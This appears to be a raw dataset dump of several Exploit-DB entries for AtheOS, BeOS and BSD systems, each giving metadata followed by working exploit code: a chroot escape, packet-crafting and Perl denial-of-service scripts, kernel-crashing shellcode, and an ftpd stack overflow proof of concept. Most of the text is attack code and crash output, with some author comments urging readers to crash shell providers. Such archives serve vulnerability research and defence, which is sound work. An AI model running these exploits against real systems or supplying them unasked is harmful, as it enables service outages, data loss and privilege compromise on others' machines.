deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21282
Description: AtheOS 0.3.7 - Change Root Directory Escaping
Type: local
Platform: atheos
Date: 2002-02-07
Author: Jedi/Sector

Exploit:
/*
source: https://www.securityfocus.com/bid/4051/info

AtheOS is a freely available, open source operating system. It is distributed under the GPL, and maintained by the AtheOS project.

It is possible to escape change rooted directories on AtheOS. Due to insufficient handling of relative pathes, a process in the change rooted directory may change directory using the dot-dot-slash (../) specifier. This would allow access to the system with the privileges of the change rooted process. 
*/

#include <stdio.h>
#include <unistd.h>
#include <dirent.h>

int main(void)
{
    register DIR *d;
    register const struct dirent *e;

    if (chdir("/") || chroot("/tmp") || chdir("/") ||
        (d = opendir("..")) == NULL) {
        return 1;
    }
    while ((e = readdir(d)) != NULL) {
        puts(e->d_name);
    }
    return 0;
}
Exploit-DB #19938
Description: BeOS 5.0 - TCP Fragmentation Remote Denial of Service
Type: dos
Platform: beos
Date: 2000-05-18
Author: visi0n

Exploit:
source: https://www.securityfocus.com/bid/1222/info

BeOS is vulnerable to a remote TCP fragmentation attack that will crash the target system, requiring a reboot. 

[root@localhost isic-0.05]# ./tcpsic -s 1.1.1.1 -d 10.0.1.46 -r 31337 -F100 -V0
-I0 -T0 -u0 -t0
Compiled against Libnet 1.0.1b
Installing Signal Handlers.
Seeding with 31337
No Maximum traffic limiter
Using random source ports.
Using random destination ports.
Bad IP Version = 0% IP Opts Pcnt = 0%
Frag'd Pcnt = 100% Urg Pcnt = 0%
Bad TCP Cksm = 0% TCP Opts Pcnt = 0%

1000 @ 1802.8 pkts/sec and 1174.6 k/s
2000 @ 1636.8 pkts/sec and 1105.5 k/s
3000 @ 2110.2 pkts/sec and 1396.4 k/s
4000 @ 1689.1 pkts/sec and 1105.4 k/s
Caught signal 2
Used random seed 31337
Wrote 5002 packets in 2.74s @ 1824.48 pkts/s
Exploit-DB #19841
Description: Be BeOS 4.0/4.5/5.0 - IP Packet Length Field
Type: local
Platform: beos
Date: 2000-04-07
Author: Tim Newsham

Exploit:
source: https://www.securityfocus.com/bid/1100/info

The networking process in BeOS can crash if certain malformed packets are transmitted to it. If the length field is set to a number less than the total length of the IP and protocol (TCP or UDP) headers alone, the process will halt and require manual restarting to regain normal functionality. For TCP, the combined TCP and IP header length is 40, and for UDP the combined UDP and IP header length is 28. 

--------------becasl.casl--------------------

#!/usr/local/casl/bin/casl

    #include "tcpip.casl"
    #include "packets.casl"
    #include "tcp.casl"

    srchost = 10.0.0.1;
    dsthost = 10.0.0.2;

    IPH = copy TCPIP;
    
    IPH.ip_hl = 5;
    IPH.ip_src = srchost;
    IPH.ip_dst = dsthost;
    IPH.ip_length = 39;
    
    packet = [ IPH ];
    ip_output(packet);

--------------becasl1.casl--------------------

 #!/usr/local/casl/bin/casl

    #include "tcpip.casl"
    #include "packets.casl"
    #include "tcp.casl"

    srchost = 10.0.0.1;
    dsthost = 10.0.0.2;

    IPH = copy UDPIP;

    IPH.ip_hl = 5;
    IPH.ip_src = srchost;
    IPH.ip_dst = dsthost;
    IPH.ip_length = 27;

    packet = [ IPH ];
    ip_output(packet);
Exploit-DB #19840
Description: Be BeOS 4.5/5.0 - Invalid System Call
Type: local
Platform: beos
Date: 2000-04-10
Author: Konstantin Boldyshev

Exploit:
source: https://www.securityfocus.com/bid/1098/info

A direct system call containing invalid parameters through int 0x25 will cause the BeOS to crash. Reboot of the machine is required in order to regain normal functionality. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19840.tgz
Exploit-DB #20404
Description: Joe Kloss RobinHood 1.1 - Remote Buffer Overflow
Type: remote
Platform: beos
Date: 2000-11-14
Author: Vort-fu

Exploit:
source : https://www.securityfocus.com/bid/1944/info


RobinHood is a HTTP/1.1 web server based upon libHTTP and is designed for the BeOS platform.

Improper bounds checking exists in code that handles requests (RHCWindow.cpp and RHLogger.cpp). The components RHConsole and RHDaemon will cease operations upon receiving a request consisting of over 4078 bytes. If RobinHood were to encounter such requests repeatedly, a prolonged denial of service attack may result. Restarting the application is required in order to regain normal functionality.


$ telnet target 80
Trying target...
Connected to target.
Escape character is '^]'.
<character string consisting of over 4078 bytes>
Exploit-DB #33319
Description: BSD (Multiple Distributions) - 'printf(3)' Memory Corruption
Type: dos
Platform: bsd
Date: 2009-10-30
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/36885/info

Multiple BSD distributions are prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.

An attacker can exploit this issue to cause applications to crash with a segmentation fault, denying service to legitimate users. Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

The following are vulnerable:

OpenBSD 4.6
NetBSD 5.0.1 

The following example is available:

printf %[PII_REDACTED]f 1.1
Exploit-DB #31550
Description: BSD (Multiple Distributions) - 'strfmon()' Integer Overflow
Type: dos
Platform: bsd
Date: 2008-03-27
Author: Maksymilian Arciemowicz

Exploit:
// source: https://www.securityfocus.com/bid/28479/info

Multiple BSD platforms are prone to an integer-overflow weakness.

An attacker can exploit this issue through other applications such as PHP to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects FreeBSD 6, 7 and NetBSD 4; other platforms may also be affected.

#include <stdio.h>
#include <monetary.h>

int main(int argc, char* argv[]){
char buff[51];
char *bux=buff;
int res;

res=strfmon(bux, 50, argv[1], "0");
return 0;
}
Exploit-DB #31333
Description: BSD PPP 'pppx.conf' - Local Denial of Service
Type: dos
Platform: bsd
Date: 2008-03-04
Author: sipherr

Exploit:
source: https://www.securityfocus.com/bid/28090/info

BSD PPP is prone to a local denial-of-service vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Attackers can leverage this issue to crash the application and deny service to legitimate users. Given the nature of the issue, arbitrary code execution may also be possible, but this has not been confirmed.

This issue affects FreeBSD 6.3 and unspecified versions of NetBSD and OpenBSD; other versions may also be affected. 

~/~/~/~/~/~/~/~/~/~/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxx
Exploit-DB #21077
Description: BSDI 3.0/3.1 - Local Kernel Denial of Service
Type: dos
Platform: bsd
Date: 2001-08-21
Author: V9

Exploit:
/*
source: https://www.securityfocus.com/bid/3220/info

It has been reported that there is a locally exploitable vulnerability in BSDI.

It is allegedly possible for a userland process to cause the kernel to halt.

This may be due to a bad system call. 
*/

/* (BSDi)*[v3.0/3.1] system failure, by
   v9[v9@realhalo.org].  this will result
   in the ability of any user to fail the
   system, and reboot it.  this bug is
   similar to that of the "f00f" bug.
   results are similar, except this reboots
   the machine instead of having a freezing
   effect.  tested, and built for: BSDi
   v3.0/3.1. (arch/non-specific to BSDi)
*/
char bsdi_killcode[] =
 "\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b"
 "\xb0\x9a\x50\x89\xe7\xff\xd7";
int main() {
 void (*execcode)()=(void *)bsdi_killcode;
 printf("[ (BSDi)*[v3.0/3.1]: system failu"
 "re, by: v9[v9@realhalo.org]. ]\n");
 printf("*** no output should be seen afte"
 "r this point.\n");
 execcode();
 printf("*** system failure failed.\n");
 exit(0);
}
Exploit-DB #19982
Description: FreeBSD 3.x/4.0/5.0 / NetBSD 1.4.1/1.4.2 / OpenBSD 2.x - Denial of Service
Type: dos
Platform: bsd
Date: 2000-06-01
Author: Ussr Labs

Exploit:
// source: https://www.securityfocus.com/bid/1296/info

A denial of service attack exists that affects FreeBSD, NetBSD and OpenBSD. It is believed that all versions of these operating systems are vulnerable. The vulnerability is related to setting socket options regarding the size of the send and receive buffers on a socketpair. By setting them to certain values, and performing a write the size of the value the options have been set to, FreeBSD can be made to panic. NetBSD and OpenBSD do not panic, but network applications will stop responding.

Details behind why this happens have not been made available. 

#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h> 
        
#define         BUFFERSIZE      204800

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE]; 

        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,
sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, 
sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,
sizeof(int));   
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,
sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }
        exit(0);
}
Exploit-DB #19488
Description: FreeBSD 5.0 / NetBSD 1.4.2 / OpenBSD 2.7 - 'setsockopt()' Denial of Service
Type: dos
Platform: bsd
Date: 1999-09-05
Author: L. Sassaman

Exploit:
// source: https://www.securityfocus.com/bid/622/info

A denial of service attack exists that affects FreeBSD, NetBSD and OpenBSD, and potentially other operating systems based in some part on BSD. It is believed that all versions of these operating systems are vulnerable. The vulnerability is related to setting socket options regarding the size of the send and receive buffers on a socketpair. By setting them to certain values, and performing a write the size of the value the options have been set to, FreeBSD can be made to panic. NetBSD and OpenBSD do not panic, but network applications will stop responding.

Details behind why this happens have not been made available. 

#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>

#define BUFFERSIZE 204800

extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];

while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
Exploit-DB #2524
Description: FreeBSD 5.4/6.0 - 'ptrace PT_LWPINFO' Local Denial of Service
Type: dos
Platform: bsd
Date: 2006-10-12
Author: kokanin

Exploit:
#include <sys/types.h>
#include <sys/ptrace.h>
#include <unistd.h>
/* lol lol, exploit for http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=419
thank you oh unknown, sincerely kokanin@gmail. usage: ./blah <pid you own> */

int main(int argc, char *argv[]){
	struct ptrace_lwpinfo *lol;
	ptrace(PT_ATTACH,atoi(argv[1]),NULL,0);
	wait(NULL);
	ptrace(PT_LWPINFO,atoi(argv[1]),(void *)&lol,32768);
}

// milw0rm.com [2006-10-12]
Exploit-DB #1540
Description: FreeBSD 6.0 - 'nfsd' Remote Kernel Panic (Denial of Service)
Type: dos
Platform: bsd
Date: 2006-02-28
Author: Evgeny Legerov

Exploit:
#!/usr/bin/perl
## Saw an advisory on Dailydave and wrote a little script to
## check my freebsd boxes (kind of evil). /str0ke (milw0rm.com)
##
## ProtoVer NFS testsuite 1.0 uncovered remote kernel panic vulnerability in FreeBSD 6.0 kernel.
## Evgeny Legerov
## www.gleg.net

use IO::Socket;

sub usage
{
    print "FreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit\n";
    print "Advisory from Evgeny Legerov (www.gleg.net)\n";
    print "Code by str0ke (milw0rm.com)\n";
    print "Usage: $0 www.example.com\n";
    exit ();
}

my $host = shift || &usage;

my $printer = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" .
              "\x00\x00\x00\x02\x00\x01\x86\xa5\x00\x00\x00\x01" .
              "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" .
              "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04" .
              "\x2f\x74\x6d\x70";

$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host, PeerPort => "2049") || die "\n+ Connection failed...\n";
print $socket $printer . "\n";

# milw0rm.com [2006-02-28]
Exploit-DB #2639
Description: FreeBSD 6.1 - '/dev/crypto' Local Kernel Denial of Service
Type: dos
Platform: bsd
Date: 2006-10-24
Author: Evgeny Legerov

Exploit:
// Evgeny Legerov (elegerov.blogspot.com)

#include unistd.h
#include sys/types.h
#include stdio.h
#include fcntl.h
#include crypto/cryptodev.h

int main()
{
        int fd2, fd;
        struct crypt_kop kop;

        printf("FreeBSD 6.1 /dev/crypto local kernel DoS\n");

        fd2 = open("/dev/crypto", O_RDWR, 0);
        if (fd2 == -1){
                perror("open");
                exit(-1);
        }

        if (ioctl(fd2, CRIOGET, &fd) == -1) {
                perror("ioctl");
                exit(-1);
        }

        kop.crk_op = CRK_MOD_EXP;
        kop.crk_iparams = 3;
        kop.crk_oparams = 1;
        kop.crk_param[0].crp_nbits = 0x70000000;

        ioctl(fd, CIOCKEY, &kop);

        printf("exploit failed\n");

        return 0;
}

// milw0rm.com [2006-10-24]
Exploit-DB #2541
Description: FreeBSD 6.1-RELEASE-p10 - 'ftruncate' Local Denial of Service
Type: dos
Platform: bsd
Date: 2006-10-13
Author: kokanin

Exploit:
/* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
   Log: According to POSIX, the result of ftruncate(2) is unspecified
   for file types other than VREG, VDIR and shared memory objects.
   We already handle VREG, VLNK and VDIR cases.  Silently ignore
   truncate requests for all the rest. PR kern/98064

   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
   tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing)
   - it just makes the system reboot, and with a bit of luck fucks up the filesystem.
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
   
*/

#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(){
mkfifo("lol",0x1b6);
int fd = open("lol",O_RDWR); 
ftruncate(fd,12345);
close(fd);
}

// milw0rm.com [2006-10-13]
Exploit-DB #2542
Description: FreeBSD 6.1-RELEASE-p10 - 'scheduler' Local Denial of Service
Type: dos
Platform: bsd
Date: 2006-10-13
Author: kokanin

Exploit:
/* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC
   Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local DOS.
   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"! 
   tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10 (latest at the time of writing)
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
*/
#include <sched.h>
int main(){
struct sched_param lol; 
lol.sched_priority = sched_get_priority_max(SCHED_FIFO); 
sched_setscheduler(0,SCHED_FIFO,&lol);
for(;;){}
}

// milw0rm.com [2006-10-13]
Exploit-DB #16064
Description: FreeBSD 8.0 - Local Forced Reboot (Denial of Service)
Type: dos
Platform: bsd
Date: 2011-01-28
Author: kingcope

Exploit:
/*
# Exploit Title: FreeBSD local denial of service - forced reboot
# Date: 28. January 2011
# Author: Kingcope
# Software Link: http://www.freebsd.org
# Operating System: FreeBSD
# Tested on: 8.0-RELEASE

This source code when compiled and executed
will reboot at least FreeBSD 8.0-RELEASE because of a null pointer dereference.
*/


#include <sys/types.h>
#include <sys/mman.h>
#define PAGE_SIZE 4096
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
main() {
       int k,fd,i2,i3,i4,i5,i6,i7,i8;
char *p;
      char buf[4096];

      for (i2=0;i2<256;i2++) {
       for (i3=0;i3<2;i3++) {
       for (i4=0;i4<2;i4++) {
       fd = socket(i2, i3, i4);
       if (fd < 0) continue;
       printf("SUCCESS!\n");
       for (i5=0;i5<100;i5++) {
       for (i6=0;i6<100;i6++) {
       setsockopt(fd, i5, i6, buf, 4);
       getsockopt(fd, i5, i6, buf, &i7);
       }}}}}
}

The crash dump looks like the following.

Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel: Fatal trap 12: page fault while in kernel mode
Jan 28 11:33:07 r00tme kernel: cpuid = 0; apic id = 00
Jan 28 11:33:07 r00tme kernel: fault virtual address    = 0xc
Jan 28 11:33:07 r00tme kernel: fault code               = supervisor
write, page not present
Jan 28 11:33:07 r00tme kernel: instruction pointer      = 0x20:0xc06143ba
Jan 28 11:33:07 r00tme kernel: stack pointer            = 0x28:0xcd1fa5b4
Jan 28 11:33:07 r00tme kernel: frame pointer            = 0x28:0xcd1fa85c
Jan 28 11:33:07 r00tme kernel: code segment             = base 0x0,
limit 0xfffff, type 0x1b
Jan 28 11:33:07 r00tme kernel: = DPL 0, pres 1, def32 1, gran 1
Jan 28 11:33:07 r00tme kernel: processor eflags = interrupt enabled,
resume, IOPL = 0
Jan 28 11:33:07 r00tme kernel: current process          = 1004 (bsdcrash)
Jan 28 11:33:07 r00tme kernel: trap number              = 12
Jan 28 11:33:07 r00tme kernel: panic: page fault
Jan 28 11:33:07 r00tme kernel: cpuid = 0
Jan 28 11:33:07 r00tme kernel: Uptime: 2m48s
Jan 28 11:33:07 r00tme kernel: Cannot dump. Device not defined or unavailable.
Jan 28 11:33:07 r00tme kernel: Automatic reboot in 15 seconds - press
a key on the console to abort
Jan 28 11:33:07 r00tme kernel: Rebooting...

The cause of the crash seems to be a specific network driver. Since
the crash is forced (only?) in a VMWare virtual machine the
exploitability can be dependent on the loaded device drivers
and installed hardware.
Exploit-DB #33708
Description: FreeBSD 8.0 / OpenBSD 4.x - 'ftpd' Null Pointer Dereference Denial of Service
Type: dos
Platform: bsd
Date: 2010-03-05
Author: kingcope

Exploit:
// source: https://www.securityfocus.com/bid/38559/info

The FreeBSD and OpenBSD 'ftpd' service is prone to a denial-of-service vulnerability because of a NULL-pointer dereference.

Successful exploits may allow remote attackers to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

This issue affects the following releases:

FreeBSD 8.0, 6.3, 4.9
OpenBSD 4.5 and 4.6 

#include <glob.h>
#include <stdio.h>

#define MAXUSRARGS      100
#define MAXGLOBARGS     1000

void do_glob() {
        glob_t gl;
        char **pop;

        char buffer[256];
        strcpy(buffer, "{A*/../A*/../A*/../A*/../A*/../A*/../A*}");

        int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
        memset(&gl, 0, sizeof(gl));
        gl.gl_matchc = MAXGLOBARGS;
        flags |= GLOB_LIMIT;
        if (glob(buffer, flags, NULL, &gl)) {
                printf("GLOB FAILED!\n");
                return 0;
        }
        else
//                for (pop = gl.gl_pathv; pop && *pop && 1 <
(MAXGLOBARGS-1);
                for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
                     pop++) {
                        printf("glob success");
                        return 0;
                }
        globfree(&gl);
}

main(int argc, char **argv) {
        do_glob();
        do_glob();
}
Exploit-DB #2874
Description: NetBSD - 'FTPd / Tnftpd' Remote Stack Overflow (PoC)
Type: dos
Platform: bsd
Date: 2006-11-30
Author: kingcope

Exploit:
#!perl
# $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
#
# About
#
# tnftpd is a port of the NetBSD FTP server to other systems.
# It offers many enhancements over the traditional BSD ftpd,
# including per-class configuration directives via ftpd.conf(5),
# RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
# transfer rate throttling, and more.
# tnftpd was formerly known as lukemftpd,
# and earlier versions are present in Mac OS X 10.2 (as ftpd)
# and FreeBSD 5.0 (as lukemftpd).
#
# Description
#
# The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
# which can lead to a root compromise.
#
# The bug is in glob.c file. The globbing mechanism is flawed as back in
# 2001.
#
# To trigger the overflow you can create a folder and use the globbing
# special characters (like STARS) to overflow an internal stack based buffer.
#
# gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
# (gdb) c
# Continuing.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x00410041 in ?? ()
# (gdb)
#
# tnftpd-20040810 behaves similar.
# FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
# however they could have the same bug, because of the same
# codebase.
#
# The problem when exploiting this kind of bug is,
# that we can only control 0x00410041, not the whole
# 32 bit. However it looks feasible to find a way
# to do a hole EIP redirection and/or exploit
# the bug the "unicode" way, which could be especially
# hard on BSD systems.
# kcope

use IO::Socket;

$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
                             PeerPort => '21',
                             Proto    => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;

print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = <stdin>;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";

while (<$sock>) {
       print;
}

# milw0rm.com [2006-11-30]